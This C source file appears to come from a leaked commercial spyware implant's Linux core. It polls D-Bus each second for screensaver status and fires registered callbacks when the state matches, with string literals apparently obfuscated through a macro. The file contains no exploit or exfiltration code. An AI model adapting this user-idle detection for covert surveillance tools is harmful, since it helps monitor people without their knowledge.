hackedteam/core-linux

View on GitHub
core/src/mon_screensaver.c

Summary

Maintainability
Test Coverage
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>

#include "monitor.h"
#include "so.h"

struct mon_screensaver_entry {
   void *(*callback)(void *);
   void *args;
   int flags;
   struct mon_screensaver_entry *next;
   struct mon_screensaver_entry *prev;
};

static void *mon_screensaver_run(void *args);
static void mon_screensaver_dump(void);

static pthread_t t;
static pthread_mutex_t m = PTHREAD_MUTEX_INITIALIZER;
static struct mon_screensaver_entry *list = NULL;
static int running = 0;

static void *mon_screensaver_run(void *args)
{
   struct mon_screensaver_entry *p, *e;
   int active;
   pthread_t ct;
   FILE *pp = NULL;
   char buf[64];

   while(1) {
      pthread_mutex_lock(&m);

      if(!list) {
         running = 0;
         pthread_mutex_unlock(&m);
         return NULL;
      }

      /* TODO XXX riscrivere con i segnali dbus e la libreria */
      do {
         active = -1;
         if(!(pp = popen(SO"dbus-send --dest=org.gnome.ScreenSaver --print-reply /org/gnome/ScreenSaver org.gnome.ScreenSaver.GetActive", "r"))) break;
         while(fgets(buf, sizeof(buf), pp)) {
            if(strstr(buf, SO"boolean true")) {
               active = 1;
               break;
            } else if(strstr(buf, SO"boolean false")) {
               active = 0;
               break;
            }
         }
      } while(0);
      if(pp) { pclose(pp); pp = NULL; }
 
      do {
         if(active != -1) break;
         if(!(pp = popen(SO"dbus-send --dest=org.freedesktop.ScreenSaver --print-reply /ScreenSaver org.freedesktop.ScreenSaver.GetActive", "r"))) break;
         while(fgets(buf, sizeof(buf), pp)) {
            if(strstr(buf, SO"boolean true")) {
               active = 1;
               break;
            } else if(strstr(buf, SO"boolean false")) {
               active = 0;
               break;
            }
         }
      } while(0);
      if(pp) { pclose(pp); pp = NULL; }

      if(active != -1) {
         p = list;
         while(p) {
            if((!(p->flags & MON_FLAG_NEG) && active) || ((p->flags & MON_FLAG_NEG) && !active)) {
               pthread_create(&ct, NULL, p->callback, p->args);
               pthread_detach(ct);
               if(p == list) list = p->next;
               if(p->next) p->next->prev = p->prev;
               if(p->prev) p->prev->next = p->next;
               e = p;
               p = p->next;
               free(e);
            } else {
               p = p->next;
            }
         }
      }

      mon_screensaver_dump();

      pthread_mutex_unlock(&m);

      sleep(1);
   }
}

void mon_screensaver_start(void *args) {
   pthread_mutex_lock(&m);
   if(!running) if(!pthread_create(&t, NULL, mon_screensaver_run, NULL)) running = 1;
   pthread_mutex_unlock(&m);
}

void *mon_screensaver_addwatch(void *(*callback)(void *), void *args, int flags, ...)
{
   struct mon_screensaver_entry *p = NULL;

   pthread_mutex_lock(&m);

   do {
      if(!list) {
         if(!(list = malloc(sizeof(struct mon_screensaver_entry)))) break;
         list->prev = NULL;
         p = list;
      } else {
         for(p = list; p->next; p = p->next);
         if(!(p->next = malloc(sizeof(struct mon_screensaver_entry)))) break;
         p->next->prev = p;
         p = p->next;
      }
      p->next = NULL;
      p->callback = callback;
      p->args = args;
      p->flags = flags;

      if(!running) if(!pthread_create(&t, NULL, mon_screensaver_run, NULL)) running = 1;
   } while(0);

   mon_screensaver_dump();

   pthread_mutex_unlock(&m);

   return p;
}

void mon_screensaver_delwatch(void *entry)
{
   struct mon_screensaver_entry *p = NULL, *e = (struct mon_screensaver_entry *)entry;

   if(!list || !e) return;

   pthread_mutex_lock(&m);

   for(p = list; p && (p != e); p = p->next);
   if(p) {
      if(p == list) list = p->next;
      if(p->next) p->next->prev = p->prev;
      if(p->prev) p->prev->next = p->next;
      free(p);
   }

   pthread_mutex_unlock(&m);

   return;
}

void mon_screensaver_dump(void)
{
#if 0
   struct mon_screensaver_entry *p = NULL;

   debugme("\n--- SCREENSAVER MONITOR LIST ---\n");
   for(p = list; p; p = p->next) debugme("- (at %p)\n", (void *)p);
   debugme("\n");
#endif

   return;
}